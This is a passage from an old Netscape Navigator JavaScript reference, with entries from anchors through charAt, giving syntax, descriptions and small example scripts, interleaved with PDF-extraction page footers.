} </SCRIPT> <B>Links and Anchors</B> <FORM> <P>Click a button to display that anchor in window #2 <P><INPUT TYPE="button" VALUE="0" NAME="link0_button" onClick="linkToWindow(this.value)"> <INPUT TYPE="button" VALUE="1" NAME="link0_button" onClick="linkToWindow(this.value)"> <INPUT TYPE="button" VALUE="2" NAME="link0_button" onClick="linkToWindow(this.value)"> <INPUT TYPE="button" VALUE="3" NAME="link0_button" onClick="linkToWindow(this.value)"> <INPUT TYPE="button" VALUE="4" NAME="link0_button" onClick="linkToWindow(this.value)"> </FORM> </BODY> </HTML> link2.html, which contains the anchors, contains the following code: <HTML> <HEAD> <TITLE>Links and Anchors: Window 2</TITLE> </HEAD> <BODY> <A NAME="0"><B>Some numbers</B> (Anchor 0)</A> <UL><LI>one <LI>two <LI>three <LI>four</UL> <P><A NAME="1"><B>Some colors</B> (Anchor 1)</A> <UL><LI>red <LI>orange <LI>yellow <LI>green</UL> <P><A NAME="2"><B>Some music types</B> (Anchor 2)</A> <UL><LI>R&B <LI>Jazz <LI>Soul <LI>Reggae <LI>Rock</UL> <P><A NAME="3"><B>Some countries</B> (Anchor 3)</A> <UL><LI>Afghanistan <LI>Brazil <LI>Canada <LI>Finland <LI>India</UL> </BODY>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (10 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

</HTML>

See also
Link object, anchor method

anchors
Property. An array of objects corresponding to named anchors in source order. See the Anchor object for information.

Tainted?
No

appCodeName
Property. A string specifying the code name of the browser.

Syntax
navigator.appCodeName

Property of
navigator

Implemented in
Navigator 2.0

Tainted?
No

Description
appCodeName is a read-only property.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (11 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Examples
The following example displays the value of the appCodeName property: document.write("The value of navigator.appCodeName is " + navigator.appCodeName) For Navigator 2.0 and 3.0, this displays the following: The value of navigator.appCodeName is Mozilla

See also
appName, appVersion, javaEnabled, userAgent properties

Applet
Object. Includes a Java applet in a web page.

HTML syntax
To include a Java applet in a web page, use standard HTML syntax: <APPLET CODE=classFileName HEIGHT=height WIDTH=width MAYSCRIPT [NAME=appletName] [CODEBASE=classFileDirectory] [ALT=alternateText] [ALIGN="left"|"right"| "top"|"absmiddle"|"absbottom"| "texttop"|"middle"|"baseline"|"bottom"] [HSPACE=spaceInPixels] [VSPACE=spaceInPixels]> [<PARAM NAME=parameterName VALUE=parameterValue>] [ ... <PARAM>] </APPLET>

HTML attributes
CODE=classFileName specifies the file name of the applet that you want to load. This file name must end in a
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (12 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

.class extension. HEIGHT=height specifies the height of the applet in pixels within the browser window. WIDTH=width specifies the width of the applet in pixels within the browser window. MAYSCRIPT permits the applet to access JavaScript. Use this attribute to prevent an applet from accessing JavaScript on a page without your knowledge. If omitted, the applet will not work with JavaScript. NAME=appletName specifies the name of the applet. You can use this name when indexing the applets array. CODEBASE=classFileDirectory specifies directory of the .class file, if it is different from the directory that contains the HTML page. ALT=alternateText specifies text to display for browsers that do not support the <APPLET> tag. ALIGN=alignment specifies the alignment of the applet on the HTML page. HSPACE=spaceInPixels specifies a horizontal margin for the applet, in pixels, within the browser window. VSPACE=spaceInPixels specifies a vertical margin for the applet, in pixels, within the browser window. <PARAM> defines a parameter for the applet. NAME=parameterName specifies the name of the parameter. VALUE=parameterValue> specifies a value for the parameter.

Syntax
To use an applet object: document.applets[index]

Parameters
index is an integer representing an applet in a document or the name of an Applet object as specified by the NAME attribute.

Property of
document

Implemented in

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (13 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Navigator 3.0

Description
The author of an HTML page must permit an applet to access JavaScript by specifying the MAYSCRIPT attribute of the <APPLET> tag. This prevents an applet from accessing JavaScript on a page without the knowledge of the page author. For example, to allow the musicPicker.class applet access to JavaScript on your page, specify the following: <APPLET CODE="musicPicker.class" WIDTH=200 HEIGHT=35 NAME="musicApp" MAYSCRIPT> Accessing JavaScript when the MAYSCRIPT attribute is not specified results in an exception. For more information on using applets, see Chapter 4, "LiveConnect." The applets array You can reference the applets in your code by using the applets array. This array contains an entry for each Applet object (<APPLET> tag) in a document in source order. For example, if a document contains three applets, these applets are reflected as document.applets[0], document.applets[1], and document.applets[2]. To use the applets array: 1. document.applets[index] 2. document.applets.length index is an integer representing an applet in a document or the name of an Applet object as specified by the NAME attribute. To obtain the number of applets in a document, use the length property: document.applets.length. Elements in the applets array are read-only. For example, the statement document.applets[0]="myApplet.class" has no effect.

Properties
All public properties of the applet are available for JavaScript access to the Applet object. The applets array has the following properties:

Property Description length Reflects the number of <APPLET> tags in the document

Methods

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (14 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm
q q q q

All public methods of the applet eval toString valueOf

Event handlers
None.

Examples
The following code launches an applet called "musicApp": <APPLET CODE="musicSelect.class" WIDTH=200 HEIGHT=35 NAME="musicApp" MAYSCRIPT> </APPLET> For more examples, see Chapter 4, "LiveConnect."

See also
MimeType, Plugin objects; Chapter 4, "LiveConnect"

applets
Property. An array reflecting all the applets in a document in source order. See the Applet object for information.

appName
Property. A string specifying the name of the browser.

Syntax
navigator.appName

Property of
navigator

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (15 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Implemented in
Navigator 2.0

Tainted?
No

Description
appName is a read-only property.

Examples
The following example displays the value of the appName property: document.write("The value of navigator.appName is " + navigator.appName) For Navigator 2.0 and 3.0, this displays the following: The value of navigator.appName is Netscape

See also
appCodeName, appVersion, javaEnabled, userAgent properties

appVersion
Property. A string specifying version information for the Navigator.

Syntax
navigator.appVersion

Property of
navigator

Implemented in
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (16 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Navigator 2.0

Tainted?
No

Description
The appVersion property specifies version information in the following format: releaseNumber (platform; country) The values contained in this format are the following:
q q

releaseNumber is the version number of the Navigator. For example, "2.0b4" specifies Navigator 2.0, beta 4. platform is the platform upon which the Navigator is running. For example, "Win16" specifies a 16-bit version of Windows such as Windows 3.11. country is either "I" for the international release, or "U" for the domestic U.S. release. The domestic release has a stronger encryption feature than the international release.

appVersion is a read-only property.

Examples
Example 1. The following example displays version information for the Navigator: document.write("The value of navigator.appVersion is " + navigator.appVersion) For Navigator 2.0 on Windows 95, this displays the following: The value of navigator.appVersion is 2.0 (Win95, I) For Navigator 3.0 on Windows NT, this displays the following: The value of navigator.appVersion is 3.0 (WinNT, I) Example 2. The following example populates a Textarea object with newline characters separating each line. Because the newline character varies from platform to platform, the example tests the appVersion property to determine whether the user is running Windows (appVersion contains "Win" for all versions of Windows). If the user is running Windows, the newline character is set to \r\n; otherwise, it's set to \n, which is the newline character for Unix and Macintosh. <SCRIPT> var newline=null function populate(textareaObject){

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (17 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

if (navigator.appVersion.lastIndexOf('Win') != -1) newline="\r\n" else newline="\n" textareaObject.value="line 1" + newline + "line 2" + newline + "line 3" } </SCRIPT> <FORM NAME="form1"> <BR><TEXTAREA NAME="testLines" ROWS=8 COLS=55></TEXTAREA> <P><INPUT TYPE="button" VALUE="Populate the Textarea object" onClick="populate(document.form1.testLines)"> </TEXTAREA> </FORM>

See also
appCodeName, appName, userAgent properties

Area
Object. Defines an area of an image as an image map. When the user clicks the area, the area's hypertext reference is loaded into its target window. Area objects are a type of Link object. For information on Area objects, see Link object.

arguments array
Property. An array corresponding to elements of a function.

Syntax
To use the arguments array: 1. functionName.arguments[index] 2. functionName.arguments.length

Parameters
functionName is the name of a function you have created or the name of a variable or a property of an existing object that has been assigned a Function object using new. index is an integer representing an element of a function or the name of a function as specified in the function
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (18 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

declaration.

Property of
Function object, any user-defined function (see See "Defining and calling functions")

Implemented in
Navigator 2.0

Tainted?
No

Description
You can call a function with more arguments than it is formally declared to accept by using the arguments array. This technique is useful if a function can be passed a variable number of arguments. You can use arguments.length to determine the number of arguments passed to the function, and then treat each argument by using the arguments array. The arguments array is available only within a function declaration. Attempting to access the arguments array outside a function declaration results in an error. The this keyword does not refer to the currently executing function, so you must refer to functions and Function objects by name, even within the function body.

Properties
The arguments array has the following properties:

Property Description length Reflects the number of arguments to the function

Examples
This example defines a function that creates HTML lists. The only formal argument for the function is a string that is "U" if the list is to be unordered (bulleted), or "O" if the list is to be ordered (numbered). The function is defined as follows: function list(type) { document.write("<" + type + "L>") for (var i=1; i<list.arguments.length; i++) { document.write("<LI>" + list.arguments[i]) document.write("</" + type + "L>")

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (19 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

} } You can pass any number of arguments to this function, and it displays each argument as an item in the type of list indicated. For example, the following call to the function list("U", "One", "Two", "Three") results in this output: <UL> <LI>One <LI>Two <LI>Three </UL>

See also
caller

arguments property
Property. An array of elements in a function. See the arguments array for information.

Tainted?
No

Array
Object. Lets you create arrays and work with them.

Syntax
To create an Array object: 1. arrayObjectName = new Array([arrayLength]) 2. arrayObjectName = new Array([element0, element1, ..., elementn])

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (20 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

To use Array objects: 1. arrayObjectName.propertyName 2. arrayObjectName.methodName(parameters)

Parameters
arrayObjectName is either the name of a new object or a property of an existing object. When using Array properties and methods, arrayObjectName is either the name of an existing Array object or a property of an existing object. arrayLength is the initial length of the array. You can access this value using the length property. elementn is a list of values for the array's elements. When this form is specified, the array is initalized with the specified values as its elements, and the array's length property is set to the number of arguments. propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
None.

Implemented in
Navigator 3.0

Description
The Array object is a built-in JavaScript object. You can specify an initial length when you create the array. The following code creates an array of five elements: billingMethod = new Array(5) When you create an array, all of its elements are initially null. The following code creates an array of 25 elements, then assigns values to the first three elements: musicTypes = new Array(25) musicTypes[0] = "R&B" musicTypes[1] = "Blues" musicTypes[2] = "Jazz" An array's length increases if you assign a value to an element higher than the current length of the array. The following code creates an array of length zero, then assigns a value to element 99. This changes the length of the array to 100.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (21 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

colors = new Array() colors[99] = "midnightblue" You can construct a dense array of two or more elements starting with index 0 if you define initial values for all elements. A dense array is one in which each element has a value. The following code creates a dense array with three elements: myArray = new Array("Hello", myVar, 3.14159) In Navigator 2.0, you must index arrays by their ordinal number, for example document.forms[0]. In Navigator 3.0, you can index arrays by either their ordinal number or their name (if defined). For example, suppose you define the following array: myArray = new Array("Wind","Rain","Fire") You can then refer to the first element of the array as myArray[0] or myArray["Wind"].

Properties
The Array object has the following properties:

Property Description length Reflects the number of elements in an array prototype Lets you add a properties to an Array object.

Methods
The Array object has the following methods:

q q q

eval join reverse

q q q

sort toString valueOf

Event handlers
None.

Examples
Example 1. The following example creates an array, msgArray, with a length of 0, then assigns values to msgArray[0] and msgArray[99], changing the length of the array to 100. msgArray = new Array()
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (22 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

msgArray [0] = "Hello" msgArray [99] = "world" if (msgArray .length == 100) // This is true, because defined msgArray [99] element. document.write("The length is 100.") See also the examples for the onError event handler. Example 2: Two-dimensional array. The following code creates a two-dimensional array and displays the results. a = new Array(4) for (i=0; i < 4; i++) { a[i] = new Array(4) for (j=0; j < 4; j++) { a[i][j] = "["+i+","+j+"]" } } for (i=0; i < 4; i++) { str = "Row "+i+":" for (j=0; j < 4; j++) { str += a[i][j] } document.write(str,"<p>") } This example displays the following results: Multidimensional array test Row 0:[0,0][0,1][0,2][0,3] Row 1:[1,0][1,1][1,2][1,3] Row 2:[2,0][2,1][2,2][2,3] Row 3:[3,0][3,1][3,2][3,3]

See also
Image object

asin
Method. Returns the arc sine (in radians) of a number.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (23 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Syntax
Math.asin(number)

Parameters
number is a numeric expression between -1 and 1, or a property of an existing object.

Method of
Math

Implemented in
Navigator 2.0

Description
The asin method returns a numeric value between -pi/2 and pi/2 radians. If the value of number is outside this range, it returns zero.

Examples
The following function returns the arc sine of the variable x: function getAsin(x) { return Math.asin(x) } If you pass getAsin the value one, it returns 1.570796326794897 (pi/2); if you pass it the value two, it returns zero because two is out of range.

See also
acos, atan, atan2, cos, sin, tan methods

atan
Method. Returns the arc tangent (in radians) of a number.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (24 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Syntax
Math.atan(number)

Parameters
number is either a numeric expression or a property of an existing object, representing the tangent of an angle.

Method of
Math

Implemented in
Navigator 2.0

Description
The atan method returns a numeric value between -pi/2 and pi/2 radians.

Examples
The following function returns the arc tangent of the variable x: function getAtan(x) { return Math.atan(x) } If you pass getAtan the value 1, it returns 0.7853981633974483; if you pass it the value .5, it returns 0.4636476090008061.

See also
acos, asin, atan2, cos, sin, tan methods

atan2
Method. Returns the angle in radians from the X axis to a point.

Syntax

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (25 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Math.atan2(x,y)

Parameters
x is either a numeric expression or a property of an existing object, representing the cartesian x-coordinate. y is either a numeric expression or a property of an existing object, representing the cartesian y-coordinate.

Method of
Math

Implemented in
Navigator 2.0

Description
The atan2 method returns a numeric value between 0 and 2pi representing the angle theta of an (x,y) point. This is the counter-clockwise angle, measured in radians, between the positive X axis, and the point (x,y). atan2 is passed separate x and y arguments, and atan is passed the ratio of those two arguments.

Examples
The following function returns the angle of the polar coordinate: function getAtan2(x,y) { return Math.atan2(x,y) } If you pass getAtan2 the values (90,15), it returns 1.4056476493802699; if you pass it the values (15,90), it returns 0.16514867741462683.

See also
acos, asin, atan, cos, sin, tan methods

back
Method. Loads the previous URL in the history list.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (26 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Syntax
history.back()

Method of
history object

Implemented in
Navigator 2.0

Description
This method performs the same action as a user choosing the Back button in the Navigator. The back method is the same as history.go(-1).

Examples
The following custom buttons perform the same operations as the Navigator Back and Forward buttons: <P><INPUT TYPE="button" VALUE="< Back" onClick="history.back()"> <P><INPUT TYPE="button" VALUE="> Forward" onClick="history.forward()">

See also
forward, go methods

bgColor
Property. A string specifying the color of the document background.

Syntax
document.bgColor

Property of

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (27 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

document

Implemented in
Navigator 2.0

Tainted?
No

Description
The bgColor property is expressed as a hexadecimal RGB triplet or as one of the string literals listed in "Color values". This property is the JavaScript reflection of the BGCOLOR attribute of the <BODY> tag. The default value of this property is set by the user on the Colors tab of the Preferences dialog box, which is displayed by choosing General Preferences from the Options menu. You can set the bgColor property at any time. If you express the color as a hexadecimal RGB triplet, you must use the format rrggbb. For example, the hexadecimal RGB values for salmon are red=FA, green=80, and blue=72, so the RGB triplet for salmon is "FA8072."

Examples
The following example sets the color of the document background to aqua using a string literal: document.bgColor="aqua" The following example sets the color of the document background to aqua using a hexadecimal triplet: document.bgColor="00FFFF"

See also
alinkColor, fgColor, linkColor, vlinkColor properties

big
Method. Causes a string to be displayed in a big font as if it were in a <BIG> tag.

Syntax
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (28 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

stringName.big()

Parameters
stringName is any string or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description
Use the big method with the write or writeln methods to format and display a string in a document.

Examples
The following example uses string methods to change the size of a string: var worldString="Hello, world" document.write(worldString.small()) document.write("<P>" + worldString.big()) document.write("<P>" + worldString.fontsize(7)) The previous example produces the same output as the following HTML: <SMALL>Hello, world</SMALL> <P><BIG>Hello, world</BIG> <P><FONTSIZE=7>Hello, world</FONTSIZE>

See also
fontsize, small methods

blink
Method. Causes a string to blink as if it were in a <BLINK> tag.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (29 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Syntax
stringName.blink()

Parameters
stringName is any string or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description
Use the blink method with the write or writeln methods to format and display a string in a document.

Examples
The following example uses string methods to change the formatting of a string: var worldString="Hello, world" document.write(worldString.blink()) document.write("<P>" + worldString.bold()) document.write("<P>" + worldString.italics()) document.write("<P>" + worldString.strike()) The previous example produces the same output as the following HTML: <BLINK>Hello, world</BLINK> <P><B>Hello, world</B> <P><I>Hello, world</I> <P><STRIKE>Hello, world</STRIKE>

See also
bold, italics, strike methods

blur
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (30 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Method. Removes focus from the specified object.

Syntax
1. 2. 3. 4. 5. 6. 7. fileUploadName.blur() passwordName.blur() selectName.blur() textName.blur() textareaName.blur() frameReference.blur() windowReference.blur()

Parameters
fileUploadName is either the value of the NAME attribute of a FileUpload object or an element in the elements array. passwordName is either the value of the NAME attribute of a Password object or an element in the elements array. selectName is either the value of the NAME attribute of a Select object or an element in the elements array. textName is either the value of the NAME attribute of a Text object or an element in the elements array. textareaName is either the value of the NAME attribute of a Textarea object or an element in the elements array. frameReference is a valid way of referring to a frame, as described in the Frame object. windowReference is a valid way of referring to a window, as described in the window object.

Method of
Button object, Checkbox object, FileUpload object, Frame object, Password object, Radio object, Reset object object, Select object, Submit object, Text object, Textarea object, window object

Implemented in
q q

Navigator 2.0 Navigator 3.0: method of Button, Checkbox, FileUpload, Frame, Radio, Reset, Submit and window

Description
Use the blur method to remove focus from a specific form element, window, or frame. Removing focus from a window sends the window to the background in most windowing systems.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (31 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Examples
The following example removes focus from the password element userPass: userPass.blur() This example assumes that the password is defined as <INPUT TYPE="password" NAME="userPass">

See also
focus method, select method

bold
Method. Causes a string to be displayed as bold as if it were in a <B> tag.

Syntax
stringName.bold()

Parameters
stringName is any string or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description
Use the bold method with the write or writeln methods to format and display a string in a document.

Examples
The following example uses string methods to change the formatting of a string:
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (32 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

var worldString="Hello, world" document.write(worldString.blink()) document.write("<P>" + worldString.bold()) document.write("<P>" + worldString.italics()) document.write("<P>" + worldString.strike()) The previous example produces the same output as the following HTML: <BLINK>Hello, world</BLINK> <P><B>Hello, world</B> <P><I>Hello, world</I> <P><STRIKE>Hello, world</STRIKE>

See also
blink, italics, strike methods

Boolean
Object. Lets you work with Boolean values. The Boolean object is an object wrapper for a boolean value.

Syntax
To create a Boolean object: booleanObjectName = new Boolean(value) To use a Boolean object: booleanObjectName.propertyName

Parameters
booleanObjectName is either the name of a new object or a property of an existing object. When using Boolean properties, booleanObjectName is either the name of an existing Boolean object or a property of an existing object. value is the initial value of the Boolean object. The value is converted to a boolean value, if necessary. If value is omitted or is 0, null, false, or the empty string "", it the object has an initial value of false. All other values, including the string "false" create an object with an initial value of true. propertyName is one of the properties listed below.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (33 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Property of
None

Implemented in
Navigator 3.0

Description
The Boolean object is a built-in JavaScript object. Use a Boolean object when you need to convert a non-boolean value to a boolean value. You can use the Boolean object any place JavaScript expects a primitive boolean value. JavaScript returns the primitive value of the Boolean object by automatically invoking the valueOf method.

Properties
The Boolean object has the following properties:

Property Description prototype Lets you add a properties to a Boolean object.

Methods
q q q

eval toString valueOf

Event handlers
None.

Examples
The following examples create Boolean objects with an initial value of false: bNoParam = new Boolean() bZero = new Boolean(0) bNull = new Boolean(null) bEmptyString = new Boolean("") bfalse = new Boolean(false) The following examples create Boolean objects with an initial value of true:
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (34 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

btrue = new Boolean(true) btrueString = new Boolean("true") bfalseString = new Boolean("false") bSuLin = new Boolean("Su Lin")

border
Property. A string specifying the width, in pixels, of an image border.

Syntax
imageName.border

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

Tainted?
No

Description
The border property reflects the BORDER attribute of the <IMG> tag. For images created with the Image() constructor, the value of the border property is 0. border is a read-only property.

Examples
The following function displays the value of an image's border property if the value is not zero.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (35 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

function checkBorder(theImage) { if (theImage.border==0) { alert('The image has no border!') } else alert('The image's border is ' + theImage.border) }

See also
height, hspace, vspace, width properties

Button
Object. A pushbutton on an HTML form.

HTML syntax
To define a button, use standard HTML syntax with the addition of JavaScript event handlers: <INPUT TYPE="button" NAME="buttonName" VALUE="buttonText" [onBlur="handlerText"] [onClick="handlerText"] [onFocus="handlerText"]>

HTML attributes
NAME="buttonName" specifies the name of the Button object. You can access this value using the name property, and you can use this name when indexing the elements array. VALUE="buttonText" specifies the label to display on the button face. You can access this value using the value property.

Syntax
To use a Button object's properties and methods: 1. 2. 3. 4. buttonName.propertyName buttonName.methodName(parameters) formName.elements[index].propertyName formName.elements[index].methodName(parameters)

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (36 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Parameters
buttonName is the value of the NAME attribute of a Button object. formName is either the value of the NAME attribute of a Form object or an element in the forms array. index is an integer representing a Button object on a form or the name of a Button object as specified by the NAME attribute. propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
Form object

Implemented in
q q

Navigator 2.0 Navigator 3.0: added type property; added onBlur and onFocus event handlers; added blur and focus methods

Description
A Button object on a form looks as follows:
Click me

A Button object is a form element and must be defined within a <FORM> tag. The Button object is a custom button that you can use to perform an action you define. The button executes the script specified by its onClick event handler.

Properties
The Button object has the following properties:

Property name type

Description Reflects the NAME attribute Reflects the TYPE attribute

form property Specifies the form containing the Button object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (37 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

value

Reflects the VALUE attribute

Methods
The Button object has the following methods:

q q q

blur click eval

q q q

focus toString valueOf

Event handlers
q q q

onBlur onClick onFocus

Examples
The following example creates a button named calcButton. The text "Calculate" is displayed on the face of the button. When the button is clicked, the function calcFunction is called. <INPUT TYPE="button" VALUE="Calculate" NAME="calcButton" onClick="calcFunction(this.form)">

See also
Form object, Reset object, Submit object

caller
Property. Returns the name of the function that invoked the currently executing function.

Syntax
functionName.caller

Parameters
functionName is the name of a function you have created or the name of a variable or a property of an existing object that has been assigned a Function object using new.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (38 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Property of
Function object, any user-defined function (see See "Defining and calling functions")

Implemented in
Navigator 2.0

Tainted?
No

Description
The caller property is available only within the body of a function. If used outside a function declaration, the caller property is null. If the currently executing function was invoked by the top level of a JavaScript program, the value of caller is null. The this keyword does not refer to the currently executing function, so you must refer to functions and Function objects by name, even within the function body. The caller property is a reference to the calling function, so
q

If you use it in a string context, you get the result of functionName.toString()--the decompiled canonical source form of the function. You can also call the calling function, if you know what arguments it might want. Thus, a called function can call its caller without knowing the name of the particular caller, provided it knows that all of its callers have the same form and fit, and that they will not call the called function again unconditionally (which would result in infinite recursion).

Examples
The following code checks the value of a function's caller property. function myFunc() { if (myFunc.caller == null) { alert("The function was called from the top!") } else alert("This function's caller was " + myFunc.caller) }

See also
arguments array

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (39 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

ceil
Method. Returns the least integer greater than or equal to a number.

Syntax
Math.ceil(number)

Parameters
number is any numeric expression or a property of an existing object.

Method of
Math

Implemented in
Navigator 2.0

Examples
The following function returns the ceil value of the variable x: function getCeil(x) { return Math.ceil(x) } If you pass getCeil the value 45.95, it returns 46; if you pass it the value -45.95, it returns -45.

See also
floor method

charAt
Method. Returns the character at the specified index.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (40 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Syntax
stringName.charAt(index)

Parameters
stringName is any string or a property of an existing object. index is any integer from zero to stringName.length - 1, or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description
Characters in a string are indexed from left to right. The index of the first character is zero, and the index of the last character is stringName.length - 1. If the index you supply is out of range, JavaScript returns an empty string.

Examples
The following example displays characters at different locations in the string "Brave new world": var anyString="Brave new world" document.write("The character at document.write("The character at document.write("The character at document.write("The character at document.write("The character at

index index index index index

0 1 2 3 4

is is is is is

" " " " "

+ + + + +

anyString.charAt(0)) anyString.charAt(1)) anyString.charAt(2)) anyString.charAt(3)) anyString.charAt(4))

See also
indexOf, lastIndexOf, split methods

Checkbox
Object. A checkbox on an HTML form. A checkbox is a toggle switch that lets the user set a value on or off.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (41 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

HTML syntax
